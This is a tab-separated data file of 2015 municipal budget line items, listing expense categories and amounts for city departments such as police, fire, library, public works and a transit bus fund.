13742	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1322324.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1322324.0
13743	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	2390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2390.0
13744	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	39702.0	0	0	0	0	0	0.0	0	0	0	0	0.0	39702.0
13745	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588080.0	OFFICE EQUIPMENT	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13746	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2015	9238.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9238.0
13747	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544170.0	UNIFORM / PROTECTIVE CLOTHING		 Supplies and Expenses	2015	5457.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5457.0
13748	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544090.0	MEDICAL/FIRST AID SUPPLIES		 Supplies and Expenses	2015	2609.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2609.0
13749	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511490.0	OVERTIME	806.0	Salaries and Wages	2015	6198.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6198.0
13750	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2015	11790.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11790.0
13751	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2015	18339.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18339.0
13752	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2015	1878030.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1878030.0
13753	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13754	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
13755	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511972.0	UNIFORM ALLOWANCE		Salaries and Wages	2015	56000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	56000.0
13756	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2015	506519.0	0	0	0	0	0	0.0	0	0	0	0	0.0	506519.0
13757	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2015	1043.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1043.0
13758	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2015	2087.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2087.0
13759	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES		 Supplies and Expenses	2015	14454.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14454.0
13760	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2015	17215.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17215.0
13761	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	510000.0	SALARIES AND WAGES	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13762	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2015	1954596.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1954596.0
13763	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2015	78659.0	0	0	0	0	0	0.0	0	0	0	0	0.0	78659.0
13764	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2015	36604.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36604.0
13765	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511490.0	OVERTIME	806.0	Salaries and Wages	2015	642382.0	0	0	0	0	0	0.0	0	0	0	0	0.0	642382.0
13766	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2015	59021.0	0	0	0	0	0	0.0	0	0	0	0	0.0	59021.0
13767	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2015	96027.0	0	0	0	0	0	0.0	0	0	0	0	0.0	96027.0
13768	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2015	4657.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4657.0
13769	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566140.0	INVESTIGATION EXPENSE	806.0	 Supplies and Expenses	2015	53842.0	0	0	0	0	0	0.0	0	0	0	0	0.0	53842.0
13770	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2015	8160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8160.0
13771	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544030.0	BADGE / AWARD / NAME PLATES	806.0	 Supplies and Expenses	2015	2182.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2182.0
13772	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2015	191818.0	0	0	0	0	0	0.0	0	0	0	0	0.0	191818.0
13773	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2015	161029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	161029.0
13774	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2015	18782.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18782.0
13775	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522620.0	RENT	806.0	 Supplies and Expenses	2015	66448.0	0	0	0	0	0	0.0	0	0	0	0	0.0	66448.0
13776	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2015	135445.0	0	0	0	0	0	0.0	0	0	0	0	0.0	135445.0
13777	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544020.0	AMMO/PROTECTIVE CLOTHING-SWORN	806.0	 Supplies and Expenses	2015	208690.0	0	0	0	0	0	0.0	0	0	0	0	0.0	208690.0
13778	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566500.0	RECRUITING	806.0	 Supplies and Expenses	2015	17739.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17739.0
13779	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2015	170.0	0	0	0	0	0	0.0	0	0	0	0	0.0	170.0
13780	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	566160.0	CANINE PROGRAM	806.0	 Supplies and Expenses	2015	29064.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29064.0
13781	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522620.0	RENT	806.0	 Supplies and Expenses	2015	2291.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2291.0
13782	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2015	17739.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17739.0
13783	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555210.0	TRAINING	806.0	 Supplies and Expenses	2015	10643.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10643.0
13784	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2015	261.0	0	0	0	0	0	0.0	0	0	0	0	0.0	261.0
13785	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533140.0	BOAT MAINTENANCE / OPERATION		 Supplies and Expenses	2015	23892.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23892.0
13786	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544120.0	PERIODICALS		 Supplies and Expenses	2015	52.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52.0
13787	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2015	71251.0	0	0	0	0	0	0.0	0	0	0	0	0.0	71251.0
13788	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	806.0	 Supplies and Expenses	2015	26416.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26416.0
13789	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2015	79633.0	0	0	0	0	0	0.0	0	0	0	0	0.0	79633.0
13790	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2015	72891.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72891.0
13791	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2015	124740.0	0	0	0	0	0	0.0	0	0	0	0	0.0	124740.0
13792	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511300.0	HOLIDAY PAY	806.0	Salaries and Wages	2015	529944.0	0	0	0	0	0	0.0	0	0	0	0	0.0	529944.0
13793	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588050.0	FIRE SUPPRESSION EQUIPMENT	806.0	 Supplies and Expenses	2015	20444.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20444.0
13794	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522042.0	RECOVERY FROM SUBROGATION		 Supplies and Expenses	2015	-110000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-110000.0
13795	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2015	135700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	135700.0
13796	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2015	18000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18000.0
13797	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2015	3226.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3226.0
13798	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2015	3070.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3070.0
13799	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544170.0	PROTECTIVE CLOTHING-NON-SWORN	806.0	 Supplies and Expenses	2015	17662.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17662.0
13800	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555030.0	EMPLOYEE MEDICAL EXAMS	806.0	 Supplies and Expenses	2015	26086.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26086.0
13801	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555110.0	LEGAL EXPENSE	806.0	 Supplies and Expenses	2015	42173.0	0	0	0	0	0	0.0	0	0	0	0	0.0	42173.0
13802	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	500000.0	EXPENDITURES	806.0	EXPENDITURES	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13803	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511650.0	POLICE CADETS	806.0	Salaries and Wages	2015	29510.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29510.0
13804	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2015	15346.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15346.0
13805	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522620.0	RENT	806.0	 Supplies and Expenses	2015	1782.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1782.0
13806	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2015	314.0	0	0	0	0	0	0.0	0	0	0	0	0.0	314.0
13807	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2015	27115.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27115.0
13808	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2015	5217.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5217.0
13809	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2015	8908.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8908.0
13810	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544120.0	PERIODICALS	806.0	 Supplies and Expenses	2015	1663.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1663.0
13811	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511490.0	OVERTIME	806.0	Salaries and Wages	2015	3335578.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3335578.0
13812	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2015	3131.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3131.0
13813	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2015	20052.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20052.0
13814	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2015	3906.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3906.0
13815	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511510.0	CROSSING GUARDS	806.0	Salaries and Wages	2015	451878.0	0	0	0	0	0	0.0	0	0	0	0	0.0	451878.0
13816	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2015	10891.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10891.0
13817	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544020.0	AMMO / SHOOTING SUPPLIES	806.0	 Supplies and Expenses	2015	37139.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37139.0
13818	BA	IS	1	General Fund	310	FIRE	315	TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2015	2182.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2182.0
13819	BA	IS	1	General Fund	310	FIRE	315	TRAINING	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2015	532.0	0	0	0	0	0	0.0	0	0	0	0	0.0	532.0
13820	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	37054.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37054.0
13821	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2015	5593.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5593.0
13822	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2015	960682.0	0	0	0	0	0	0.0	0	0	0	0	0.0	960682.0
13823	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2015	1995.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1995.0
13824	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522320.0	METERED POSTAGE	812.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
13825	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2015	95.0	0	0	0	0	0	0.0	0	0	0	0	0.0	95.0
13826	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522900.0	MEMBERSHIPS AND DUES	812.0	 Supplies and Expenses	2015	11000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11000.0
13827	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2015	142825.0	0	0	0	0	0	0.0	0	0	0	0	0.0	142825.0
13828	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	1695.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1695.0
13829	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511490.0	OVERTIME	812.0	Salaries and Wages	2015	19344.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19344.0
13830	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2015	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
13831	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2015	2075.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2075.0
13832	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	588080.0	OFFICE EQUIPMENT	806.0	 Supplies and Expenses	2015	13531.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13531.0
13833	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2015	13903419.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13903419.0
13834	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	588200.0	BLDG RENOVATION / MAINTENANCE	806.0	 Supplies and Expenses	2015	27672.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27672.0
13835	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	1489082.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1489082.0
13836	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2015	2409307.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2409307.0
13837	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522720.0	MILEAGE	816.0	 Supplies and Expenses	2015	305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	305.0
13838	BA	IS	1	General Fund	310	FIRE	315	TRAINING	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
13839	BA	IS	1	General Fund	310	FIRE	315	TRAINING	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2015	2661.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2661.0
13840	BA	IS	1	General Fund	310	FIRE	315	TRAINING	555210.0	TRAINING	806.0	 Supplies and Expenses	2015	94773.0	0	0	0	0	0	0.0	0	0	0	0	0.0	94773.0
13841	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2015	131408.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131408.0
13842	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2015	350540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	350540.0
13843	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2015	24711.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24711.0
13844	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522930.0	VEHICLES - TIRES / TUBES	806.0	 Supplies and Expenses	2015	535.0	0	0	0	0	0	0.0	0	0	0	0	0.0	535.0
13845	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2015	114229.0	0	0	0	0	0	0.0	0	0	0	0	0.0	114229.0
13846	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2015	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
13847	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511979.0	MEDICAL EXAMS		Salaries and Wages	2015	4000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4000.0
13848	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	555011.0	OUTSIDE REPAIRS - BUSES		 Supplies and Expenses	2015	1254525.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1254525.0
13849	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511920.0	UNIFORM / TOOL ALLOWANCE		Salaries and Wages	2015	4920.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4920.0
13850	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522045.0	PAYOUTS FOR UNINSURED PL/PD		 Supplies and Expenses	2015	2500000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500000.0
13851	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2015	74000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	74000.0
13852	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2015	7126.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7126.0
13853	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2015	3120.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3120.0
13854	BA	IS	1	General Fund	310	FIRE	315	TRAINING	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2015	13837.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13837.0
13855	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2015	1065.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1065.0
13856	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2015	105.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105.0
13857	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2015	3861.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3861.0
13858	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2015	1043.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1043.0
13859	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2015	3662.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3662.0
13860	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2015	9264459.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9264459.0
13861	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2015	6353.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6353.0
13862	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555180.0	PHOTOGRAPHIC EXPENSE	806.0	 Supplies and Expenses	2015	5739.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5739.0
13863	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511490.0	OVERTIME		Salaries and Wages	2015	72947.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72947.0
13864	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2015	104532.0	0	0	0	0	0	0.0	0	0	0	0	0.0	104532.0
13865	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522910.0	VEHICLES - FUELS / LUBRICATION	806.0	 Supplies and Expenses	2015	138964.0	0	0	0	0	0	0.0	0	0	0	0	0.0	138964.0
13866	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511490.0	OVERTIME	806.0	Salaries and Wages	2015	4736898.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4736898.0
13867	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511490.0	OVERTIME	806.0	Salaries and Wages	2015	385305.0	0	0	0	0	0	0.0	0	0	0	0	0.0	385305.0
13868	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2015	4868.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4868.0
13869	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2015	5322.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5322.0
13870	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	522042.0	RECOVERIES OF PHYSICAL DAMAGE		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
13871	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2015	50000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	50000.0
